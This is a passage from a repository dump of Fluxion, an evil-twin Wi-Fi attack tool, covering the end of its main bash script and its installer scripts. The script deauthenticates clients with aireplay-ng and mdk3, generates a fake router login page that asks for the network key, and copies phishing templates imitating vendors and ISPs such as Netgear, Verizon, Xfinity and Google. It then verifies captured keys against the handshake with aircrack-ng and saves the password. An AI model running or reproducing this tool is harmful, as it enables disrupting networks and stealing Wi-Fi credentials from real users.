killall wpa_passphrase &>$flux_output_device\n                let i=\\$i+5\">>$DUMP_PATH/handcheck\n        fi\n\n        echo \"done\n        clear\n        echo \\\"1\\\" > $DUMP_PATH/status.txt\n\n        sleep 7\n\n        killall mdk3 &>$flux_output_device\n        killall aireplay-ng &>$flux_output_device\n        killall airbase-ng &>$flux_output_device\n        kill \\$(ps a | grep python| grep fakedns | awk '{print \\$1}') &>$flux_output_device\n        killall hostapd &>$flux_output_device\n        killall lighttpd &>$flux_output_device\n        killall dhcpd &>$flux_output_device\n        killall wpa_supplicant &>$flux_output_device\n        killall wpa_passphrase &>$flux_output_device\n\n        echo \\\"\n        FLUX $version by ghost\n\n        SSID: $Host_SSID\n        BSSID: $Host_MAC ($Host_MAC_MODEL)\n        Channel: $Host_CHAN\n        Security: $Host_ENC\n        Time: \\$ih\\$horas:\\$im\\$minutos:\\$is\\$segundos\n        Password: \\$(cat $DUMP_PATH/data.txt)\n        \\\" >\\\"$HOME/$Host_SSID-password.txt\\\"\">>$DUMP_PATH/handcheck\n\n\n        if [ $authmode = \"handshake\" ]; then\n                echo \"aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \\\"The password was saved in \"$red\"$HOME/$Host_SSID-password.txt\"$transparent\"\\\"\n                \">>$DUMP_PATH/handcheck\n\n        elif [ $authmode = \"wpa_supplicant\" ]; then\n                echo \"echo -e \\\"The password was saved in \"$red\"$HOME/$Host_SSID-password.txt\"$transparent\"\\\"\">>$DUMP_PATH/handcheck\n        fi\n\n        echo \"kill -INT \\$(ps a | grep bash| grep flux | awk '{print \\$1}') &>$flux_output_device\">>$DUMP_PATH/handcheck\n        chmod +x $DUMP_PATH/handcheck\n}\n\n\n############################################# < ATTACK > ############################################\n\n\n\n\n\n\n############################################## < STUFF > ############################################\n\n# Deauth all\nfunction deauthall {\n\n        xterm $HOLD $BOTTOMRIGHT -bg \"#000000\" -fg \"#FF0009\" -title \"Deauthenticating all clients on $Host_SSID\" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR &\n}\n\nfunction deauthmdk3 {\n\n        echo \"$Host_MAC\" >$DUMP_PATH/mdk3.txt\n        xterm $HOLD $BOTTOMRIGHT -bg \"#000000\" -fg \"#FF0009\" -title \"Deauthenticating via mdk3 all clients on $Host_SSID\" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN &\n        mdk3PID=$!\n}\n\n# Deauth to a specific target\nfunction deauthesp {\n\n        sleep 2\n        xterm $HOLD $BOTTOMRIGHT -bg \"#000000\" -fg \"#FF0009\" -title \"Deauthenticating client $Client_MAC\" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR &\n}\n\n# Close all processes\nfunction matartodo {\n\n        killall aireplay-ng &>$flux_output_device\n        kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device\n        killall hostapd &>$flux_output_device\n        killall lighttpd &>$flux_output_device\n        killall dhcpd &>$flux_output_device\n        killall xterm &>$flux_output_device\n\n}\n\n######################################### < INTERFACE WEB > ########################################\n\n# Create the contents for the web interface\nfunction NEUTRA {\n\n        if [ ! -d $DUMP_PATH/data ]; then\n                mkdir $DUMP_PATH/data\n        fi\n\n        source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip\n\n        unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device\n        rm $DUMP_PATH/file.zip &>$flux_output_device\n\n        echo \"<!DOCTYPE html>\n        <html>\n        <head>\n            <title>Login Page</title>\n            <meta charset=\\\"UTF-8\\\">\n            <meta name=\\\"viewport\\\" content=\\\"width=device-width, height=device-height, initial-scale=1.0\\\">\n                <!-- Styles -->\n            <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"css/jquery.mobile-1.4.5.min.css\\\"/>\n                <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"css/main.css\\\"/>\n                <!-- Scripts -->\n                <script src=\\\"js/jquery-1.11.1.min.js\\\"></script>\n                <script src=\\\"js/jquery.mobile-1.4.5.min.js\\\"></script>\n        </head>\n        <body>\n                <!-- final page -->\n            <div id=\\\"done\\\" data-role=\\\"page\\\" data-theme=\\\"a\\\">\n                        <div data-role=\\\"main\\\" class=\\\"ui-content ui-body ui-body-b\\\" dir=\\\"$DIALOG_WEB_DIR\\\">\n                                <h3 style=\\\"text-align:center;\\\">$DIALOG_WEB_OK</h3>\n                        </div>\n            </div>\n        </body>\n</html>\" > $DUMP_PATH/data/final.html\n\n        echo \"<!DOCTYPE html>\n        <html>\n        <head>\n            <title>Login Page</title>\n            <meta charset=\\\"UTF-8\\\">\n            <meta name=\\\"viewport\\\" content=\\\"width=device-width, height=device-height, initial-scale=1.0\\\">\n                <!-- Styles -->\n            <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"css/jquery.mobile-1.4.5.min.css\\\"/>\n                <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"css/main.css\\\"/>\n                <!-- Scripts -->\n                <script src=\\\"js/jquery-1.11.1.min.js\\\"></script>\n                <script src=\\\"js/jquery.mobile-1.4.5.min.js\\\"></script>\n                <script src=\\\"js/jquery.validate.min.js\\\"></script>\n                <script src=\\\"js/additional-methods.min.js\\\"></script>\n        </head>\n        <body>\n                <!-- Error page -->\n            <div data-role=\\\"page\\\" data-theme=\\\"a\\\">\n                        <div data-role=\\\"main\\\" class=\\\"ui-content ui-body ui-body-b\\\" dir=\\\"$DIALOG_WEB_DIR\\\">\n                                <h3 style=\\\"text-align:center;\\\">$DIALOG_WEB_ERROR</h3>\n                                <a href=\\\"index.htm\\\" class=\\\"ui-btn ui-corner-all ui-shadow\\\" onclick=\\\"location.href='index.htm'\\\">$DIALOG_WEB_BACK</a>\n                        </div>\n            </div>\n        </body>\n</html>\" > $DUMP_PATH/data/error.html\n\n        echo \"<!DOCTYPE html>\n        <html>\n        <head>\n            <title>Login Page</title>\n            <meta charset=\\\"UTF-8\\\">\n            <meta name=\\\"viewport\\\" content=\\\"width=device-width, height=device-height, initial-scale=1.0\\\">\n                <!-- Styles -->\n            <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"css/jquery.mobile-1.4.5.min.css\\\"/>\n                <link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"css/main.css\\\"/>\n                <!-- Scripts -->\n                <script src=\\\"js/jquery-1.11.1.min.js\\\"></script>\n                <script src=\\\"js/jquery.mobile-1.4.5.min.js\\\"></script>\n                <script src=\\\"js/jquery.validate.min.js\\\"></script>\n                <script src=\\\"js/additional-methods.min.js\\\"></script>\n        </head>\n        <body>\n                <!-- Main page -->\n            <div data-role=\\\"page\\\" data-theme=\\\"a\\\">\n                        <div class=\\\"ui-content\\\" dir=\\\"$DIALOG_WEB_DIR\\\">\n                                <fieldset>\n                                        <form id=\\\"loginForm\\\" class=\\\"ui-body ui-body-b ui-corner-all\\\" action=\\\"check.php\\\" method=\\\"POST\\\">\n                                                </br>\n                                                <div class=\\\"ui-field-contain ui-responsive\\\" style=\\\"text-align:center;\\\">\n                                                        <div>ESSID: <u>$Host_SSID</u></div>\n                                                        <div>BSSID: <u>$Host_MAC</u></div>\n                                                        <div>Channel: <u>$Host_CHAN</u></div>\n                                                </div>\n                                                <div style=\\\"text-align:center;\\\">\n                                                        <br><label>$DIALOG_WEB_INFO</label></br>\n                                                </div>\n                                                <div class=\\\"ui-field-contain\\\" >\n                                                        <label for=\\\"key1\\\">$DIALOG_WEB_INPUT</label>\n                                                        <input id=\\\"key1\\\" data-clear-btn=\\\"true\\\" type=\\\"password\\\" value=\\\"\\\" name=\\\"key1\\\" maxlength=\\\"64\\\"/>\n                                                </div>\n\n                                                <input data-icon=\\\"check\\\" data-inline=\\\"true\\\" name=\\\"submitBtn\\\" type=\\\"submit\\\" value=\\\"$DIALOG_WEB_SUBMIT\\\"/>\n                                        </form>\n                                </fieldset>\n                        </div>\n            </div>\n                <script src=\\\"js/main.js\\\"></script>\n                <script>\n    $.extend( $.validator.messages, {\n        required: \\\"$DIALOG_WEB_ERROR_MSG\\\",\n        maxlength: $.validator.format( \\\"$DIALOG_WEB_LENGTH_MAX\\\" ),\n        minlength: $.validator.format( \\\"$DIALOG_WEB_LENGTH_MIN\\\" )});\n  </script>\n        </body>\n</html>\" > $DUMP_PATH/data/index.htm\n}\n\n# Functions to populate the content for the custom phishing pages\nfunction ARRIS {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data\n\n}\n\nfunction BELKIN {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data\n\n}\n\nfunction NETGEAR {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data\n\n}\n\nfunction ARRIS2 {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data\n\n}\nfunction NETGEAR2 {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data\n\n}\n\nfunction TPLINK {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n    cp -r  $WORK_DIR/sites/tplink/* $DUMP_PATH/data\n}\n\nfunction VODAFONE {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data\n}\n\nfunction VERIZON {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data\n        cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data\n}\n\nfunction HUAWEI {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data\n\n        }\n\nfunction ZIGGO_NL {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data\n        }\n\nfunction KPN_NL {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data\n        }\n\nfunction ZIGGO2016_NL {\n    mkdir $DUMP_PATH/data &>$flux_output_device\n    cp -r  $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data\n}\n\nfunction FRITZBOX_DE {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data\n        }\n\nfunction FRITZBOX_ENG {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data\n        }\n\nfunction GENEXIS_DE {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r  $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data\n        }\n\nfunction Login-Netgear {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data\n        }\n\nfunction Login-Xfinity {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data\n        }\n\nfunction Telekom {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data\n        }\n\nfunction google {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data\n        }\n\nfunction MOVISTAR_ES {\n        mkdir $DUMP_PATH/data &>$flux_output_device\n        cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data\n  }\n\n\n######################################### < INTERFACE WEB > ########################################\ntop && setresolution && setinterface\n"
  },
  {
    "path": "install/add.py",
    "content": "#!/usr/bin/python\n\nfrom os import system\n\ncommands = [\n    \"apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6\",\n    \"echo '# Kali linux repositories\",\n    \"deb http://http.kali.org/kali kali-rolling main contrib non-free\",\n    \"apt-get update -m\"\n]\n\nfor i in commands:\n    system(i)\n"
  },
  {
    "path": "install/arch-install.sh",
    "content": "#!/bin/bash\n\n########## DEBUG Mode ##########\n##                            ##\nif [ -z ${INSTALLER_DEBUG+x} ]; then INSTALLER_DEBUG=0\nelse INSTALLER_DEBUG=1\nfi\n##                            ##\n################################\n\n#Config\nversion=2\nrevision=6\n#Colors\nred='\\e[1;31m'\nblue='\\e[1;34m'\nyellow='\\e[1;33m'\ntransparent=\"\\e[0m\"\n\n#DUMP_PATH\nrm -rf /tmp/Installer/\nmkdir /tmp/Installer/\nDUMP_PATH=\"/tmp/Installer/\"\n\nfunction conditional_clear() {\n\n\tif [[ \"$INSTALLER_output_device\" != \"/dev/stdout\" ]]; then clear; fi\n}\n\n#Config_END\nif [ $INSTALLER_DEBUG = 1 ]; then\n\t## Developer Mode\n\texport INSTALLER_output_device=/dev/stdout\n\tHOLD=\"-hold\"\nelse\n\t## Normal Mode\n\texport INSTALLER_output_device=/dev/null\n\tHOLD=\"\"\nfi\n\n#Check root\nif [[ $EUID -ne 0 ]]; then\n        echo -e \"\\e[1;31mYou don't have admin privilegies, execute the script as root.\"$transparent\n\t\t\t\texit\nfi\n\nclear\n\n#Check for X display\n\nif [ -z \"${DISPLAY:-}\" ]; then\n    echo -e \"\\e[1;31mThe script should be executed inside a X (graphical) session.\"$transparent\"\"\n    exit 1\nfi\n\n\n\nfunction mostrarheader(){\n\n\tconditional_clear\n\techo -e \"$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]\"\n\techo -e \"$red[                                                      ]\"\n    echo -e \"$red[  $red    FLUXION $version\" \"${yellow} ${red}  < F\"\"${yellow}luxion\" \"${red}I\"\"${yellow}s\" \"${red}T\"\"${yellow}he \"\"${red}F\"\"${yellow}uture >     \"          ${blue}\" ]\"\n\techo -e \"$blue[                                                      ]\"\n\techo -e \"$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]\"\"$transparent\"\n\techo\n\techo\n\n}\n\nfunction setresolution {\n\n\tfunction resA {\n\n\t\tTOPLEFT=\"-geometry 90x13+0+0\"\n\t\tTOPRIGHT=\"-geometry 83x26-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 90x24+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 75x12-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 91x42+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 83x26-0+0\"\n\t}\n\n\tfunction resB {\n\n\t\tTOPLEFT=\"-geometry 92x14+0+0\"\n\t\tTOPRIGHT=\"-geometry 68x25-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 92x36+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 74x20-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 100x52+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 74x30-0+0\"\n\t}\n\tfunction resC {\n\n\t\tTOPLEFT=\"-geometry 100x20+0+0\"\n\t\tTOPRIGHT=\"-geometry 109x20-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 100x30+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 109x20-0-0\"\n\t\tTOPLEFTBIG=\"-geometry  100x52+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 109x30-0+0\"\n\t}\n\tfunction resD {\n\t\tTOPLEFT=\"-geometry 110x35+0+0\"\n\t\tTOPRIGHT=\"-geometry 99x40-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 110x35+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 99x30-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 110x72+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 99x40-0+0\"\n\t}\n\tfunction resE {\n\t\tTOPLEFT=\"-geometry 130x43+0+0\"\n\t\tTOPRIGHT=\"-geometry 68x25-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 130x40+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 132x35-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 130x85+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 132x48-0+0\"\n\t}\n\tfunction resF {\n\t\tTOPLEFT=\"-geometry 100x17+0+0\"\n\t\tTOPRIGHT=\"-geometry 90x27-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 100x30+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 90x20-0-0\"\n\t\tTOPLEFTBIG=\"-geometry  100x70+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 90x27-0+0\"\n}\n\ndetectedresolution=$(xdpyinfo | grep -A 3 \"screen #0\" | grep dimensions | tr -s \" \" | cut -d\" \" -f 3)\n##  A) 1024x600\n##  B) 1024x768\n##  C) 1280x768\n##  D) 1280x1024\n##  E) 1600x1200\ncase $detectedresolution in\n\t\"1024x600\" ) resA ;;\n\t\"1024x768\" ) resB ;;\n\t\"1280x768\" ) resC ;;\n\t\"1366x768\" ) resC ;;\n\t\"1280x1024\" ) resD ;;\n\t\"1600x1200\" ) resE ;;\n\t\"1366x768\"  ) resF ;;\n\t\t  * ) resA ;;\nesac\n}\n\n#Install Main\nconditional_clear\nmostrarheader\n\necho \"Updating system...\"\nsudo pacman -S xterm --noconfirm\n\n\n##############################\n\necho -ne \"Aircrack-ng.....\"\n\tif ! hash aircrack-ng 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\n\t xterm $HOLD -title \"Installing Aircrack-ng\" -e pacman -S  aircrack-ng\n\telse\n    echo -e \"\\e[1;32mOK!\"$transparent\n\tfi\n\tsleep 0.025\n\n##############################\n\necho -ne \"Aireplay-ng.....\"\n\tif ! hash awk 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Awk\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  gawk\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n\tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Airodump-ng.....\"\nif ! hash airodump-ng 2>/dev/null; then\n\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\txterm $HOLD -title \"Installing Airodump-ng\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  aircrack-ng\nelse\n\techo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\n##############################\n\techo -ne \"Bully...........\"\n\tif ! hash bully 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\tcd /tmp;sudo git clone https://aur.archlinux.org/bully.git 2>/dev/null;\tcd bully; sudo makepkg; sudo pacman -U *.pkg.tar.xz\n\t\txterm $HOLD -title \"Installing Bully\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  bully\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\"\"\n\tfi\n\tsleep 0.025\n##############################\necho -ne \"Curl............\"\n\tif ! hash curl 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Curl\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  curl\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"Dhcpd...........\"\n\tif ! hash dhcpd 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing isc-dhcp-server\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S dhcp\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  \tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Hostapd.........\"\n\tif ! hash hostapd 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Hostapd\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  hostapd\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  \tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Iwconfig........\"\nif ! hash iwconfig 2>/dev/null; then\n\t\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Iwconfig\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  iwconfig\nelse\n\techo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n##############################\n\techo -ne \"Lighttpd........\"\n\tif ! hash lighttpd 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Lighttpd\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  lighttpd\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  \tfi\n\tsleep 0.025\n##############################\n\necho -ne \"Macchanger......\"\n\tif ! hash macchanger 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Macchanger\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  macchanger\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"Mdk3............\"\n\tif ! hash mdk3 2>/dev/null; then\n\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\txterm $HOLD -title \"Installing Macchanger\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  mdk3\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n\n##############################\n\necho -ne \"Nmap............\"\n\tif ! hash nmap 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Nmap\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S nmap\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\necho -ne \"Openssl.........\"\nif ! hash openssl 2>/dev/null; then\n\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\txterm $HOLD -title \"Installing Openssl\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  openssl\nelse\n\techo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n##############################\necho -ne \"Php-cgi........\"\n\tif ! hash php-cgi 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing php-cgi\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  php-cgi\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\n\techo -ne \"Pyrit...........\"\n\tif ! hash pyrit 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Pyrit\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  pyrit\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"Python..........\"\n\tif ! hash python 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing Python\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  python\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n\n##############################\n\techo -ne \"Reaver..........\"\n\tif ! hash reaver 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\txterm $HOLD -title \"Installing Reaver\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  reaver\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\"\"\n\tfi\n\tsleep 0.025\n##############################\n\n\techo -ne \"rfkill..........\"\n        if ! hash rfkill 2>/dev/null; then\n              echo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n              xterm $HOLD -title \"Installing Rfkill\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  rfkill\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n##############################\n\necho -ne \"Unzip...........\"\n\tif ! hash unzip 2>/dev/null; then\n\t\techo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n\t\t\txterm $HOLD -title \"Installing unzip\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  unzip\n\telse\n\t\techo -e \"\\e[1;32mOK!\"$transparent\n  fi\n\tsleep 0.025\n##############################\n\necho -ne \"strings..........\"\nif ! hash strings 2>/dev/null; then\n        echo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n        xterm $HOLD -title \"Installing binutils\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  binutils\nelse\n        echo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n#############################\necho -ne \"fuser............\"\nif ! hash fuser 2>/dev/null; then\n        echo -e \"\\e[1;31mInstalling ...\"$transparent\"\"\n        xterm $HOLD -title \"Installing psmisc\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e pacman -S  psmisc\nelse\n        echo -e \"\\e[1;32mOK!\"$transparent\"\"\nfi\nsleep 0.025\n#############################\n\nxterm $HOLD -title \"Remove repositories\"  -e python remove.py\n\ngit clone https://github.com/molovo/revolver revolver\nchmod u+x revolver/revolver\nmv revolver/revolver /usr/local/bin\n"
  },
  {
    "path": "install/install.sh",
    "content": "#!/bin/bash\n\n########## DEBUG Mode ##########\n##                            ##\nif [ -z ${INSTALLER_DEBUG+x} ]; then INSTALLER_DEBUG=0\nelse INSTALLER_DEBUG=1\nfi\n##                            ##\n################################\n\n#Config\nversion=2\nrevision=8\n\n#Colors\nred='\\e[1;31m'\nblue='\\e[1;34m'\nyellow='\\e[1;33m'\ntransparent=\"\\e[0m\"\n\n#DUMP_PATH\nrm -rf /tmp/Installer/\nmkdir /tmp/Installer/\nDUMP_PATH=\"/tmp/Installer/\"\n\nfunction conditional_clear() {\n\n\tif [[ \"$INSTALLER_output_device\" != \"/dev/stdout\" ]]; then clear; fi\n}\n\n#Config_END\nif [ $INSTALLER_DEBUG = 1 ]; then\n\t## Developer Mode\n\texport INSTALLER_output_device=/dev/stdout\n\tHOLD=\"-hold\"\nelse\n\t## Normal Mode\n\texport INSTALLER_output_device=/dev/null\n\tHOLD=\"\"\nfi\n\n#Check root\nif [[ $EUID -ne 0 ]]; then\n        echo -e \"\\e[1;31mYou don't have admin privilegies, execute the script as root.\"$transparent\n\t\t\t\texit\nfi\n\nclear\n\n#Check for X display\n\nif [ -z \"${DISPLAY:-}\" ]; then\n    echo -e \"\\e[1;31mThe script should be executed inside a X (graphical) session.\"$transparent\"\"\n    exit 1\nfi\n\n\n\nfunction mostrarheader(){\n\n\tconditional_clear\n\techo -e \"$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]\"\n\techo -e \"$red[                                                      ]\"\n\techo -e \"$red[  $red    FLUXION $version\" \"${yellow} ${red}  < F\"\"${yellow}luxion\" \"${red}I\"\"${yellow}s\" \"${red}T\"\"${yellow}he \"\"${red}F\"\"${yellow}uture >     \"          ${blue}\" ]\"\n\techo -e \"$blue[                                                      ]\"\n\techo -e \"$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]\"\"$transparent\"\n\techo\n\techo\n\n}\n\nfunction setresolution {\n\n\tfunction resA {\n\n\t\tTOPLEFT=\"-geometry 90x13+0+0\"\n\t\tTOPRIGHT=\"-geometry 83x26-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 90x24+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 75x12-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 91x42+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 83x26-0+0\"\n\t}\n\n\tfunction resB {\n\n\t\tTOPLEFT=\"-geometry 92x14+0+0\"\n\t\tTOPRIGHT=\"-geometry 68x25-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 92x36+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 74x20-0-0\"\n\t\tTOPLEFTBIG=\"-geometry 100x52+0+0\"\n\t\tTOPRIGHTBIG=\"-geometry 74x30-0+0\"\n\t}\n\tfunction resC {\n\n\t\tTOPLEFT=\"-geometry 100x20+0+0\"\n\t\tTOPRIGHT=\"-geometry 109x20-0+0\"\n\t\tBOTTOMLEFT=\"-geometry 100x30+0-0\"\n\t\tBOTTOMRIGHT=\"-geometry 109x20-0-0\"\n\t\tTOPLEFTBIG=\"-geometry  